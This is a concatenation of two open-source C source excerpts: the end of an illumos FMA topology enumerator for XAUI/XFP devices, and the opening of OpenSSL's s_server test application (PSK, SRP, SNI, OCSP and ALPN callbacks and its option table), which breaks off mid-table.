topo_mod_dprintf(mod, "can't alloc listp\n"); xaui_topo_free(bufp, (size_t)bufsize); (void) md_fini(mdp); ldom_fini(hdlp); return (-1); } ncomp = md_scan_dag(mdp, MDE_INVAL_ELEM_COOKIE, md_find_name(mdp, "component"), md_find_name(mdp, "fwd"), listp); if (ncomp <= 0) { topo_mod_dprintf(mod, "no component nodes found\n"); xaui_topo_free(listp, sizeof (mde_cookie_t) * num_nodes); xaui_topo_free(bufp, (size_t)bufsize); (void) md_fini(mdp); ldom_fini(hdlp); return (-1); } topo_mod_dprintf(mod, "number of comps (%d)\n", ncomp); for (i = 0; i < ncomp; i++) { /* * Look for type == "io", topo-hc-name == "xaui"; * match "path" md property. */ if ((md_get_prop_str(mdp, listp[i], "type", &pstr) == 0) && (pstr != NULL) && (strncmp(pstr, "io", strlen(pstr)) == 0) && (md_get_prop_str(mdp, listp[i], "topo-hc-name", &pstr) == 0) && (pstr != NULL) && (strncmp(pstr, "xaui", strlen(pstr)) == 0) && (md_get_prop_str(mdp, listp[i], "path", &pstr) == 0) && (pstr != NULL)) { /* check node path */ if (strncmp(pstr, path, sizeof (path)) == 0) { /* this is the node, grab the label */ if (md_get_prop_str(mdp, listp[i], "nac", &pstr) == 0) { *labelp = topo_mod_strdup(mod, pstr); /* need to free this later */ freeprilabel = 1; break; } } } } xaui_topo_free(listp, sizeof (mde_cookie_t) * num_nodes); xaui_topo_free(bufp, (size_t)bufsize); (void) md_fini(mdp); ldom_fini(hdlp); if (path != NULL) { xaui_topo_free(path, strlen(path) + 1); } return (0); } static int xaui_label_set(topo_mod_t *mod, tnode_t *node, topo_instance_t n, void *priv) { const char *label = NULL; char *plat, *pp; int err; int i, p; (void) xaui_get_pri_label(mod, n, priv, (char **)&label); if (label == NULL) { topo_mod_dprintf(mod, "no PRI node for label\n"); if (Phyxaui_Names == NULL) return (-1); if (topo_prop_get_string(node, FM_FMRI_AUTHORITY, FM_FMRI_AUTH_PRODUCT, &plat, &err) < 0) { return (topo_mod_seterrno(mod, err)); } /* * Trim SUNW, from the platform name */ pp = strchr(plat, ','); if (pp == NULL) pp = plat; else ++pp; for (p = 0; p < Phyxaui_Names->psn_nplats; p++) { if (strcmp(Phyxaui_Names->psn_names[p].pnm_platform, pp) != 0) continue; for (i = 0; i < Phyxaui_Names->psn_names[p].pnm_nnames; i++) { physnm_t ps; ps = Phyxaui_Names->psn_names[p].pnm_names[i]; if (ps.ps_num == n) { label = ps.ps_label; break; } } break; } topo_mod_strfree(mod, plat); } if (label != NULL) { if (topo_prop_set_string(node, TOPO_PGROUP_PROTOCOL, TOPO_PROP_LABEL, TOPO_PROP_IMMUTABLE, label, &err) != 0) { if (freeprilabel == 1) { topo_mod_strfree(mod, (char *)label); } return (topo_mod_seterrno(mod, err)); } if (freeprilabel == 1) { topo_mod_strfree(mod, (char *)label); } } return (0); } /*ARGSUSED*/ static tnode_t * xaui_declare(tnode_t *parent, const char *name, topo_instance_t i, void *priv, topo_mod_t *mod) { tnode_t *ntn; nvlist_t *fmri = NULL; int e; if ((ntn = xaui_tnode_create(mod, parent, name, i, NULL)) == NULL) { topo_mod_dprintf(mod, "%s ntn = NULL\n", name); return (NULL); } (void) xaui_fru_set(mod, ntn); /* when coming from pcibus: private data == parent tnode */ if (priv == (void *)parent) { ispci = 1; } (void) xaui_label_set(mod, ntn, i, priv); /* reset pcibus/niu switch */ ispci = 0; /* set ASRU to resource fmri */ if (topo_prop_get_fmri(ntn, TOPO_PGROUP_PROTOCOL, TOPO_PROP_RESOURCE, &fmri, &e) == 0) (void) topo_node_asru_set(ntn, fmri, 0, &e); nvlist_free(fmri); if (topo_node_range_create(mod, ntn, XFP, 0, XFP_MAX) < 0) { topo_node_unbind(ntn); topo_mod_dprintf(mod, "child_range_add of XFP" "failed: %s\n", topo_strerror(topo_mod_errno(mod))); return (NULL); /* mod_errno already set */ } return (ntn); } static topo_mod_t * xfp_enum_load(topo_mod_t *mp) { topo_mod_t *rp = NULL; if ((rp = topo_mod_load(mp, XFP, TOPO_VERSION)) == NULL) { topo_mod_dprintf(mp, "%s enumerator could not load %s enum.\n", XAUI, XFP); } return (rp); } /*ARGSUSED*/ static int xaui_enum(topo_mod_t *mod, tnode_t *rnode, const char *name, topo_instance_t min, topo_instance_t max, void *arg, void *priv) { tnode_t *xauin; if (strcmp(name, XAUI) != 0) { topo_mod_dprintf(mod, "Currently only know how to enumerate %s components.\n", XAUI); return (0); } xaui_mod_hdl = mod; /* * Load XFP enum */ if (xfp_enum_load(mod) == NULL) return (-1); if ((xauin = xaui_declare(rnode, name, min, priv, mod)) == NULL) return (-1); /* set the private data to be the instance number of niufn */ if (topo_mod_enumerate(mod, xauin, XFP, XFP, 0, 0, NULL) != 0) { return (topo_mod_seterrno(mod, EMOD_PARTIAL_ENUM)); } return (0); }
645307.c
/* * Copyright 1995-2018 The OpenSSL Project Authors. All Rights Reserved. * Copyright (c) 2002, Oracle and/or its affiliates. All rights reserved * Copyright 2005 Nokia. All rights reserved. * * Licensed under the Apache License 2.0 (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #if defined(_WIN32) /* Included before async.h to avoid some warnings */ # include <windows.h> #endif #include <openssl/e_os2.h> #include <openssl/async.h> #include <openssl/ssl.h> #ifndef OPENSSL_NO_SOCK /* * With IPv6, it looks like Digital has mixed up the proper order of * recursive header file inclusion, resulting in the compiler complaining * that u_int isn't defined, but only if _POSIX_C_SOURCE is defined, which is * needed to have fileno() declared correctly... So let's define u_int */ #if defined(OPENSSL_SYS_VMS_DECC) && !defined(__U_INT) # define __U_INT typedef unsigned int u_int; #endif #include <openssl/bn.h> #include "apps.h" #include "progs.h" #include <openssl/err.h> #include <openssl/pem.h> #include <openssl/x509.h> #include <openssl/ssl.h> #include <openssl/rand.h> #include <openssl/ocsp.h> #ifndef OPENSSL_NO_DH # include <openssl/dh.h> #endif #ifndef OPENSSL_NO_RSA # include <openssl/rsa.h> #endif #ifndef OPENSSL_NO_SRP # include <openssl/srp.h> #endif #include "s_apps.h" #include "timeouts.h" #ifdef CHARSET_EBCDIC #include <openssl/ebcdic.h> #endif #include "internal/sockets.h" static int not_resumable_sess_cb(SSL *s, int is_forward_secure); static int sv_body(int s, int stype, int prot, unsigned char *context); static int www_body(int s, int stype, int prot, unsigned char *context); static int rev_body(int s, int stype, int prot, unsigned char *context); static void close_accept_socket(void); static int init_ssl_connection(SSL *s); static void print_stats(BIO *bp, SSL_CTX *ctx); static int generate_session_id(SSL *ssl, unsigned char *id, unsigned int *id_len); static void init_session_cache_ctx(SSL_CTX *sctx); static void free_sessions(void); #ifndef OPENSSL_NO_DH static DH *load_dh_param(const char *dhfile); #endif static void print_connection_info(SSL *con); static const int bufsize = 16 * 1024; static int accept_socket = -1; #define TEST_CERT "server.pem" #define TEST_CERT2 "server2.pem" static int s_nbio = 0; static int s_nbio_test = 0; static int s_crlf = 0; static SSL_CTX *ctx = NULL; static SSL_CTX *ctx2 = NULL; static int www = 0; static BIO *bio_s_out = NULL; static BIO *bio_s_msg = NULL; static int s_debug = 0; static int s_tlsextdebug = 0; static int s_msg = 0; static int s_quiet = 0; static int s_ign_eof = 0; static int s_brief = 0; static char *keymatexportlabel = NULL; static int keymatexportlen = 20; static int async = 0; static const char *session_id_prefix = NULL; #ifndef OPENSSL_NO_DTLS static int enable_timeouts = 0; static long socket_mtu; #endif /* * We define this but make it always be 0 in no-dtls builds to simplify the * code. */ static int dtlslisten = 0; static int stateless = 0; static int early_data = 0; static SSL_SESSION *psksess = NULL; static char *psk_identity = "Client_identity"; char *psk_key = NULL; /* by default PSK is not used */ #ifndef OPENSSL_NO_PSK static unsigned int psk_server_cb(SSL *ssl, const char *identity, unsigned char *psk, unsigned int max_psk_len) { long key_len = 0; unsigned char *key; if (s_debug) BIO_printf(bio_s_out, "psk_server_cb\n"); if (identity == NULL) { BIO_printf(bio_err, "Error: client did not send PSK identity\n"); goto out_err; } if (s_debug) BIO_printf(bio_s_out, "identity_len=%d identity=%s\n", (int)strlen(identity), identity); /* here we could lookup the given identity e.g. from a database */ if (strcmp(identity, psk_identity) != 0) { BIO_printf(bio_s_out, "PSK warning: client identity not what we expected" " (got '%s' expected '%s')\n", identity, psk_identity); } else { if (s_debug) BIO_printf(bio_s_out, "PSK client identity found\n"); } /* convert the PSK key to binary */ key = OPENSSL_hexstr2buf(psk_key, &key_len); if (key == NULL) { BIO_printf(bio_err, "Could not convert PSK key '%s' to buffer\n", psk_key); return 0; } if (key_len > (int)max_psk_len) { BIO_printf(bio_err, "psk buffer of callback is too small (%d) for key (%ld)\n", max_psk_len, key_len); OPENSSL_free(key); return 0; } memcpy(psk, key, key_len); OPENSSL_free(key); if (s_debug) BIO_printf(bio_s_out, "fetched PSK len=%ld\n", key_len); return key_len; out_err: if (s_debug) BIO_printf(bio_err, "Error in PSK server callback\n"); (void)BIO_flush(bio_err); (void)BIO_flush(bio_s_out); return 0; } #endif #define TLS13_AES_128_GCM_SHA256_BYTES ((const unsigned char *)"\x13\x01") #define TLS13_AES_256_GCM_SHA384_BYTES ((const unsigned char *)"\x13\x02") static int psk_find_session_cb(SSL *ssl, const unsigned char *identity, size_t identity_len, SSL_SESSION **sess) { SSL_SESSION *tmpsess = NULL; unsigned char *key; long key_len; const SSL_CIPHER *cipher = NULL; if (strlen(psk_identity) != identity_len || memcmp(psk_identity, identity, identity_len) != 0) { *sess = NULL; return 1; } if (psksess != NULL) { SSL_SESSION_up_ref(psksess); *sess = psksess; return 1; } key = OPENSSL_hexstr2buf(psk_key, &key_len); if (key == NULL) { BIO_printf(bio_err, "Could not convert PSK key '%s' to buffer\n", psk_key); return 0; } /* We default to SHA256 */ cipher = SSL_CIPHER_find(ssl, tls13_aes128gcmsha256_id); if (cipher == NULL) { BIO_printf(bio_err, "Error finding suitable ciphersuite\n"); OPENSSL_free(key); return 0; } tmpsess = SSL_SESSION_new(); if (tmpsess == NULL || !SSL_SESSION_set1_master_key(tmpsess, key, key_len) || !SSL_SESSION_set_cipher(tmpsess, cipher) || !SSL_SESSION_set_protocol_version(tmpsess, SSL_version(ssl))) { OPENSSL_free(key); return 0; } OPENSSL_free(key); *sess = tmpsess; return 1; } #ifndef OPENSSL_NO_SRP /* This is a context that we pass to callbacks */ typedef struct srpsrvparm_st { char *login; SRP_VBASE *vb; SRP_user_pwd *user; } srpsrvparm; static srpsrvparm srp_callback_parm; /* * This callback pretends to require some asynchronous logic in order to * obtain a verifier. When the callback is called for a new connection we * return with a negative value. This will provoke the accept etc to return * with an LOOKUP_X509. The main logic of the reinvokes the suspended call * (which would normally occur after a worker has finished) and we set the * user parameters. */ static int ssl_srp_server_param_cb(SSL *s, int *ad, void *arg) { srpsrvparm *p = (srpsrvparm *) arg; int ret = SSL3_AL_FATAL; if (p->login == NULL && p->user == NULL) { p->login = SSL_get_srp_username(s); BIO_printf(bio_err, "SRP username = \"%s\"\n", p->login); return -1; } if (p->user == NULL) { BIO_printf(bio_err, "User %s doesn't exist\n", p->login); goto err; } if (SSL_set_srp_server_param (s, p->user->N, p->user->g, p->user->s, p->user->v, p->user->info) < 0) { *ad = SSL_AD_INTERNAL_ERROR; goto err; } BIO_printf(bio_err, "SRP parameters set: username = \"%s\" info=\"%s\" \n", p->login, p->user->info); ret = SSL_ERROR_NONE; err: SRP_user_pwd_free(p->user); p->user = NULL; p->login = NULL; return ret; } #endif static int local_argc = 0; static char **local_argv; #ifdef CHARSET_EBCDIC static int ebcdic_new(BIO *bi); static int ebcdic_free(BIO *a); static int ebcdic_read(BIO *b, char *out, int outl); static int ebcdic_write(BIO *b, const char *in, int inl); static long ebcdic_ctrl(BIO *b, int cmd, long num, void *ptr); static int ebcdic_gets(BIO *bp, char *buf, int size); static int ebcdic_puts(BIO *bp, const char *str); # define BIO_TYPE_EBCDIC_FILTER (18|0x0200) static BIO_METHOD *methods_ebcdic = NULL; /* This struct is "unwarranted chumminess with the compiler." */ typedef struct { size_t alloced; char buff[1]; } EBCDIC_OUTBUFF; static const BIO_METHOD *BIO_f_ebcdic_filter() { if (methods_ebcdic == NULL) { methods_ebcdic = BIO_meth_new(BIO_TYPE_EBCDIC_FILTER, "EBCDIC/ASCII filter"); if (methods_ebcdic == NULL || !BIO_meth_set_write(methods_ebcdic, ebcdic_write) || !BIO_meth_set_read(methods_ebcdic, ebcdic_read) || !BIO_meth_set_puts(methods_ebcdic, ebcdic_puts) || !BIO_meth_set_gets(methods_ebcdic, ebcdic_gets) || !BIO_meth_set_ctrl(methods_ebcdic, ebcdic_ctrl) || !BIO_meth_set_create(methods_ebcdic, ebcdic_new) || !BIO_meth_set_destroy(methods_ebcdic, ebcdic_free)) return NULL; } return methods_ebcdic; } static int ebcdic_new(BIO *bi) { EBCDIC_OUTBUFF *wbuf; wbuf = app_malloc(sizeof(*wbuf) + 1024, "ebcdic wbuf"); wbuf->alloced = 1024; wbuf->buff[0] = '\0'; BIO_set_data(bi, wbuf); BIO_set_init(bi, 1); return 1; } static int ebcdic_free(BIO *a) { EBCDIC_OUTBUFF *wbuf; if (a == NULL) return 0; wbuf = BIO_get_data(a); OPENSSL_free(wbuf); BIO_set_data(a, NULL); BIO_set_init(a, 0); return 1; } static int ebcdic_read(BIO *b, char *out, int outl) { int ret = 0; BIO *next = BIO_next(b); if (out == NULL || outl == 0) return 0; if (next == NULL) return 0; ret = BIO_read(next, out, outl); if (ret > 0) ascii2ebcdic(out, out, ret); return ret; } static int ebcdic_write(BIO *b, const char *in, int inl) { EBCDIC_OUTBUFF *wbuf; BIO *next = BIO_next(b); int ret = 0; int num; if ((in == NULL) || (inl <= 0)) return 0; if (next == NULL) return 0; wbuf = (EBCDIC_OUTBUFF *) BIO_get_data(b); if (inl > (num = wbuf->alloced)) { num = num + num; /* double the size */ if (num < inl) num = inl; OPENSSL_free(wbuf); wbuf = app_malloc(sizeof(*wbuf) + num, "grow ebcdic wbuf"); wbuf->alloced = num; wbuf->buff[0] = '\0'; BIO_set_data(b, wbuf); } ebcdic2ascii(wbuf->buff, in, inl); ret = BIO_write(next, wbuf->buff, inl); return ret; } static long ebcdic_ctrl(BIO *b, int cmd, long num, void *ptr) { long ret; BIO *next = BIO_next(b); if (next == NULL) return 0; switch (cmd) { case BIO_CTRL_DUP: ret = 0L; break; default: ret = BIO_ctrl(next, cmd, num, ptr); break; } return ret; } static int ebcdic_gets(BIO *bp, char *buf, int size) { int i, ret = 0; BIO *next = BIO_next(bp); if (next == NULL) return 0; /* return(BIO_gets(bp->next_bio,buf,size));*/ for (i = 0; i < size - 1; ++i) { ret = ebcdic_read(bp, &buf[i], 1); if (ret <= 0) break; else if (buf[i] == '\n') { ++i; break; } } if (i < size) buf[i] = '\0'; return (ret < 0 && i == 0) ? ret : i; } static int ebcdic_puts(BIO *bp, const char *str) { if (BIO_next(bp) == NULL) return 0; return ebcdic_write(bp, str, strlen(str)); } #endif /* This is a context that we pass to callbacks */ typedef struct tlsextctx_st { char *servername; BIO *biodebug; int extension_error; } tlsextctx; static int ssl_servername_cb(SSL *s, int *ad, void *arg) { tlsextctx *p = (tlsextctx *) arg; const char *servername = SSL_get_servername(s, TLSEXT_NAMETYPE_host_name); if (servername != NULL && p->biodebug != NULL) { const char *cp = servername; unsigned char uc; BIO_printf(p->biodebug, "Hostname in TLS extension: \""); while ((uc = *cp++) != 0) BIO_printf(p->biodebug, isascii(uc) && isprint(uc) ? "%c" : "\\x%02x", uc); BIO_printf(p->biodebug, "\"\n"); } if (p->servername == NULL) return SSL_TLSEXT_ERR_NOACK; if (servername != NULL) { if (strcasecmp(servername, p->servername)) return p->extension_error; if (ctx2 != NULL) { BIO_printf(p->biodebug, "Switching server context.\n"); SSL_set_SSL_CTX(s, ctx2); } } return SSL_TLSEXT_ERR_OK; } /* Structure passed to cert status callback */ typedef struct tlsextstatusctx_st { int timeout; /* File to load OCSP Response from (or NULL if no file) */ char *respin; /* Default responder to use */ char *host, *path, *port; int use_ssl; int verbose; } tlsextstatusctx; static tlsextstatusctx tlscstatp = { -1 }; #ifndef OPENSSL_NO_OCSP /* * Helper function to get an OCSP_RESPONSE from a responder. This is a * simplified version. It examines certificates each time and makes one OCSP * responder query for each request. A full version would store details such as * the OCSP certificate IDs and minimise the number of OCSP responses by caching * them until they were considered "expired". */ static int get_ocsp_resp_from_responder(SSL *s, tlsextstatusctx *srctx, OCSP_RESPONSE **resp) { char *host = NULL, *port = NULL, *path = NULL; int use_ssl; STACK_OF(OPENSSL_STRING) *aia = NULL; X509 *x = NULL; X509_STORE_CTX *inctx = NULL; X509_OBJECT *obj; OCSP_REQUEST *req = NULL; OCSP_CERTID *id = NULL; STACK_OF(X509_EXTENSION) *exts; int ret = SSL_TLSEXT_ERR_NOACK; int i; /* Build up OCSP query from server certificate */ x = SSL_get_certificate(s); aia = X509_get1_ocsp(x); if (aia != NULL) { if (!OCSP_parse_url(sk_OPENSSL_STRING_value(aia, 0), &host, &port, &path, &use_ssl)) { BIO_puts(bio_err, "cert_status: can't parse AIA URL\n"); goto err; } if (srctx->verbose) BIO_printf(bio_err, "cert_status: AIA URL: %s\n", sk_OPENSSL_STRING_value(aia, 0)); } else { if (srctx->host == NULL) { BIO_puts(bio_err, "cert_status: no AIA and no default responder URL\n"); goto done; } host = srctx->host; path = srctx->path; port = srctx->port; use_ssl = srctx->use_ssl; } inctx = X509_STORE_CTX_new(); if (inctx == NULL) goto err; if (!X509_STORE_CTX_init(inctx, SSL_CTX_get_cert_store(SSL_get_SSL_CTX(s)), NULL, NULL)) goto err; obj = X509_STORE_CTX_get_obj_by_subject(inctx, X509_LU_X509, X509_get_issuer_name(x)); if (obj == NULL) { BIO_puts(bio_err, "cert_status: Can't retrieve issuer certificate.\n"); goto done; } id = OCSP_cert_to_id(NULL, x, X509_OBJECT_get0_X509(obj)); X509_OBJECT_free(obj); if (id == NULL) goto err; req = OCSP_REQUEST_new(); if (req == NULL) goto err; if (!OCSP_request_add0_id(req, id)) goto err; id = NULL; /* Add any extensions to the request */ SSL_get_tlsext_status_exts(s, &exts); for (i = 0; i < sk_X509_EXTENSION_num(exts); i++) { X509_EXTENSION *ext = sk_X509_EXTENSION_value(exts, i); if (!OCSP_REQUEST_add_ext(req, ext, -1)) goto err; } *resp = process_responder(req, host, path, port, use_ssl, NULL, srctx->timeout); if (*resp == NULL) { BIO_puts(bio_err, "cert_status: error querying responder\n"); goto done; } ret = SSL_TLSEXT_ERR_OK; goto done; err: ret = SSL_TLSEXT_ERR_ALERT_FATAL; done: /* * If we parsed aia we need to free; otherwise they were copied and we * don't */ if (aia != NULL) { OPENSSL_free(host); OPENSSL_free(path); OPENSSL_free(port); X509_email_free(aia); } OCSP_CERTID_free(id); OCSP_REQUEST_free(req); X509_STORE_CTX_free(inctx); return ret; } /* * Certificate Status callback. This is called when a client includes a * certificate status request extension. The response is either obtained from a * file, or from an OCSP responder. */ static int cert_status_cb(SSL *s, void *arg) { tlsextstatusctx *srctx = arg; OCSP_RESPONSE *resp = NULL; unsigned char *rspder = NULL; int rspderlen; int ret = SSL_TLSEXT_ERR_ALERT_FATAL; if (srctx->verbose) BIO_puts(bio_err, "cert_status: callback called\n"); if (srctx->respin != NULL) { BIO *derbio = bio_open_default(srctx->respin, 'r', FORMAT_ASN1); if (derbio == NULL) { BIO_puts(bio_err, "cert_status: Cannot open OCSP response file\n"); goto err; } resp = d2i_OCSP_RESPONSE_bio(derbio, NULL); BIO_free(derbio); if (resp == NULL) { BIO_puts(bio_err, "cert_status: Error reading OCSP response\n"); goto err; } } else { ret = get_ocsp_resp_from_responder(s, srctx, &resp); if (ret != SSL_TLSEXT_ERR_OK) goto err; } rspderlen = i2d_OCSP_RESPONSE(resp, &rspder); if (rspderlen <= 0) goto err; SSL_set_tlsext_status_ocsp_resp(s, rspder, rspderlen); if (srctx->verbose) { BIO_puts(bio_err, "cert_status: ocsp response sent:\n"); OCSP_RESPONSE_print(bio_err, resp, 2); } ret = SSL_TLSEXT_ERR_OK; err: if (ret != SSL_TLSEXT_ERR_OK) ERR_print_errors(bio_err); OCSP_RESPONSE_free(resp); return ret; } #endif #ifndef OPENSSL_NO_NEXTPROTONEG /* This is the context that we pass to next_proto_cb */ typedef struct tlsextnextprotoctx_st { unsigned char *data; size_t len; } tlsextnextprotoctx; static int next_proto_cb(SSL *s, const unsigned char **data, unsigned int *len, void *arg) { tlsextnextprotoctx *next_proto = arg; *data = next_proto->data; *len = next_proto->len; return SSL_TLSEXT_ERR_OK; } #endif /* ndef OPENSSL_NO_NEXTPROTONEG */ /* This the context that we pass to alpn_cb */ typedef struct tlsextalpnctx_st { unsigned char *data; size_t len; } tlsextalpnctx; static int alpn_cb(SSL *s, const unsigned char **out, unsigned char *outlen, const unsigned char *in, unsigned int inlen, void *arg) { tlsextalpnctx *alpn_ctx = arg; if (!s_quiet) { /* We can assume that |in| is syntactically valid. */ unsigned int i; BIO_printf(bio_s_out, "ALPN protocols advertised by the client: "); for (i = 0; i < inlen;) { if (i) BIO_write(bio_s_out, ", ", 2); BIO_write(bio_s_out, &in[i + 1], in[i]); i += in[i] + 1; } BIO_write(bio_s_out, "\n", 1); } if (SSL_select_next_proto ((unsigned char **)out, outlen, alpn_ctx->data, alpn_ctx->len, in, inlen) != OPENSSL_NPN_NEGOTIATED) { return SSL_TLSEXT_ERR_NOACK; } if (!s_quiet) { BIO_printf(bio_s_out, "ALPN protocols selected: "); BIO_write(bio_s_out, *out, *outlen); BIO_write(bio_s_out, "\n", 1); } return SSL_TLSEXT_ERR_OK; } static int not_resumable_sess_cb(SSL *s, int is_forward_secure) { /* disable resumption for sessions with forward secure ciphers */ return is_forward_secure; } typedef enum OPTION_choice { OPT_ERR = -1, OPT_EOF = 0, OPT_HELP, OPT_ENGINE, OPT_4, OPT_6, OPT_ACCEPT, OPT_PORT, OPT_UNIX, OPT_UNLINK, OPT_NACCEPT, OPT_VERIFY, OPT_NAMEOPT, OPT_UPPER_V_VERIFY, OPT_CONTEXT, OPT_CERT, OPT_CRL, OPT_CRL_DOWNLOAD, OPT_SERVERINFO, OPT_CERTFORM, OPT_KEY, OPT_KEYFORM, OPT_PASS, OPT_CERT_CHAIN, OPT_DHPARAM, OPT_DCERTFORM, OPT_DCERT, OPT_DKEYFORM, OPT_DPASS, OPT_DKEY, OPT_DCERT_CHAIN, OPT_NOCERT, OPT_CAPATH, OPT_NOCAPATH, OPT_CHAINCAPATH, OPT_VERIFYCAPATH, OPT_NO_CACHE, OPT_EXT_CACHE, OPT_CRLFORM, OPT_VERIFY_RET_ERROR, OPT_VERIFY_QUIET, OPT_BUILD_CHAIN, OPT_CAFILE, OPT_NOCAFILE, OPT_CHAINCAFILE, OPT_VERIFYCAFILE, OPT_NBIO, OPT_NBIO_TEST, OPT_IGN_EOF, OPT_NO_IGN_EOF, OPT_DEBUG, OPT_TLSEXTDEBUG, OPT_STATUS, OPT_STATUS_VERBOSE, OPT_STATUS_TIMEOUT, OPT_STATUS_URL, OPT_STATUS_FILE, OPT_MSG, OPT_MSGFILE, OPT_TRACE, OPT_SECURITY_DEBUG, OPT_SECURITY_DEBUG_VERBOSE, OPT_STATE, OPT_CRLF, OPT_QUIET, OPT_BRIEF, OPT_NO_DHE, OPT_NO_RESUME_EPHEMERAL, OPT_PSK_IDENTITY, OPT_PSK_HINT, OPT_PSK, OPT_PSK_SESS, OPT_SRPVFILE, OPT_SRPUSERSEED, OPT_REV, OPT_WWW, OPT_UPPER_WWW, OPT_HTTP, OPT_ASYNC, OPT_SSL_CONFIG, OPT_MAX_SEND_FRAG, OPT_SPLIT_SEND_FRAG, OPT_MAX_PIPELINES, OPT_READ_BUF, OPT_SSL3, OPT_TLS1_3, OPT_TLS1_2, OPT_TLS1_1, OPT_TLS1, OPT_DTLS, OPT_DTLS1, OPT_DTLS1_2, OPT_SCTP, OPT_TIMEOUT, OPT_MTU, OPT_LISTEN, OPT_STATELESS, OPT_ID_PREFIX, OPT_SERVERNAME, OPT_SERVERNAME_FATAL, OPT_CERT2, OPT_KEY2, OPT_NEXTPROTONEG, OPT_ALPN, OPT_SRTP_PROFILES, OPT_KEYMATEXPORT, OPT_KEYMATEXPORTLEN, OPT_KEYLOG_FILE, OPT_MAX_EARLY, OPT_RECV_MAX_EARLY, OPT_EARLY_DATA, OPT_S_NUM_TICKETS, OPT_ANTI_REPLAY, OPT_NO_ANTI_REPLAY, OPT_R_ENUM, OPT_S_ENUM, OPT_V_ENUM, OPT_X_ENUM } OPTION_CHOICE; const OPTIONS s_server_options[] = { {"help", OPT_HELP, '-', "Display this summary"}, {"port", OPT_PORT, 'p', "TCP/IP port to listen on for connections (default is " PORT ")"}, {"accept", OPT_ACCEPT, 's', "TCP/IP optional host and port to listen on for connections (default is *:" PORT ")"}, #ifdef AF_UNIX {"unix", OPT_UNIX, 's', "Unix domain socket to accept on"}, #endif {"4", OPT_4, '-', "Use IPv4 only"}, {"6", OPT_6, '-', "Use IPv6 only"}, #ifdef AF_UNIX {"unlink", OPT_UNLINK, '-', "For -unix, unlink existing socket first"}, #endif {"context", OPT_CONTEXT, 's', "Set session ID context"}, {"verify", OPT_VERIFY, 'n', "Turn on peer certificate verification"}, {"Verify", OPT_UPPER_V_VERIFY, 'n', "Turn on peer certificate verification, must have a cert"}, {"cert", OPT_CERT, '<', "Certificate file to use; default is " TEST_CERT}, {"nameopt", OPT_NAMEOPT, 's', "Various certificate name options"}, {"naccept", OPT_NACCEPT, 'p', "Terminate after #num connections"}, {"serverinfo", OPT_SERVERINFO, 's', "PEM serverinfo file for certificate"}, {"certform", OPT_CERTFORM, 'F', "Certificate format (PEM or DER) PEM default"}, {"key", OPT_KEY, 's', "Private Key if not in -cert; default is " TEST_CERT}, {"keyform", OPT_KEYFORM, 'f', "Key format (PEM, DER or ENGINE) PEM default"}, {"pass", OPT_PASS, 's', "Private key file pass phrase source"}, {"dcert", OPT_DCERT, '<', "Second certificate file to use (usually for DSA)"}, {"dhparam", OPT_DHPARAM, '<', "DH parameters file to use"}, {"dcertform", OPT_DCERTFORM, 'F', "Second certificate format (PEM or DER) PEM default"}, {"dkey", OPT_DKEY, '<', "Second private key file to use (usually for DSA)"}, {"dkeyform", OPT_DKEYFORM, 'F', "Second key format (PEM, DER or ENGINE) PEM default"}, {"dpass", OPT_DPASS, 's', "Second private key file pass phrase source"}, {"nbio_test", OPT_NBIO_TEST, '-', "Test with the non-blocking test bio"}, {"crlf", OPT_CRLF, '-', "Convert LF from terminal into CRLF"}, {"debug", OPT_DEBUG, '-', "Print more output"}, {"msg", OPT_MSG, '-', "Show protocol messages"}, {"msgfile", OPT_MSGFILE, '>', "File to send output of -msg or -trace, instead of stdout"}, {"state", OPT_STATE, '-', "Print the SSL states"}, {"CAfile", OPT_CAFILE, '<', "PEM format file of CA's"}, {"CApath", OPT_CAPATH, '/', "PEM format directory of CA's"}, {"no-CAfile", OPT_NOCAFILE, '-', "Do not load the default certificates file"}, {"no-CApath", OPT_NOCAPATH, '-', "Do not load certificates from the default certificates directory"}, {"nocert", OPT_NOCERT, '-', "Don't use any certificates (Anon-DH)"}, {"quiet", OPT_QUIET, '-', "No server output"}, {"no_resume_ephemeral", OPT_NO_RESUME_EPHEMERAL, '-', "Disable caching and tickets if ephemeral (EC)DH is used"}, {"www", OPT_WWW, '-', "Respond to a 'GET /' with a status page"}, {"WWW", OPT_UPPER_WWW, '-', "Respond to a 'GET with the file ./path"}, {"servername", OPT_SERVERNAME, 's', "Servername for HostName TLS extension"}, {"servername_fatal", OPT_SERVERNAME_FATAL, '-', "mismatch send fatal alert (default warning alert)"}, {"cert2", OPT_CERT2, '<', "Certificate file to use for servername; default is" TEST_CERT2}, {"key2", OPT_KEY2, '<', "-Private Key file to use for servername if not in -cert2"}, {"tlsextdebug", OPT_TLSEXTDEBUG, '-', "Hex dump of all TLS extensions received"}, {"HTTP", OPT_HTTP, '-', "Like -WWW but ./path includes HTTP headers"}, {"id_prefix", OPT_ID_PREFIX, 's', "Generate SSL/TLS session IDs prefixed by arg"}, OPT_R_OPTIONS, {"keymatexport", OPT_KEYMATEXPORT, 's', "Export keying material using label"}, {"keymatexportlen", OPT_KEYMATEXPORTLEN, 'p', "Export len bytes of keying material (default 20)"}, {"CRL", OPT_CRL, '<', "CRL file to use"}, {"crl_download", OPT_CRL_DOWNLOAD, '-', "Download CRL from distribution points"}, {"cert_chain", OPT_CERT_CHAIN, '<', "certificate chain file in PEM format"}, {"dcert_chain", OPT_DCERT_CHAIN, '<', "second certificate chain file in PEM format"}, {"chainCApath", OPT_CHAINCAPATH, '/', "use dir as certificate store path to build CA certificate chain"}, {"verifyCApath", OPT_VERIFYCAPATH, '/', "use dir as certificate store path to verify CA certificate"}, {"no_cache", OPT_NO_CACHE, '-', "Disable session cache"}, {"ext_cache", OPT_EXT_CACHE, '-', "Disable internal cache, setup and use external cache"}, {"CRLform", OPT_CRLFORM, 'F', "CRL format (PEM or DER) PEM is default"}, {"verify_return_error", OPT_VERIFY_RET_ERROR, '-', "Close connection on verification error"}, {"verify_quiet", OPT_VERIFY_QUIET, '-', "No verify output except verify errors"}, {"build_chain", OPT_BUILD_CHAIN, '-', "Build certificate chain"}, {"chainCAfile", OPT_CHAINCAFILE, '<', "CA file for certificate chain (PEM format)"}, {"verifyCAfile", OPT_VERIFYCAFILE, '<', "CA file for certificate verification (PEM format)"}, {"ign_eof", OPT_IGN_EOF, '-', "ignore input eof (default when -quiet)"}, {"no_ign_eof", OPT_NO_IGN_EOF, '-', "Do not ignore input eof"}, #ifndef OPENSSL_NO_OCSP {"status", 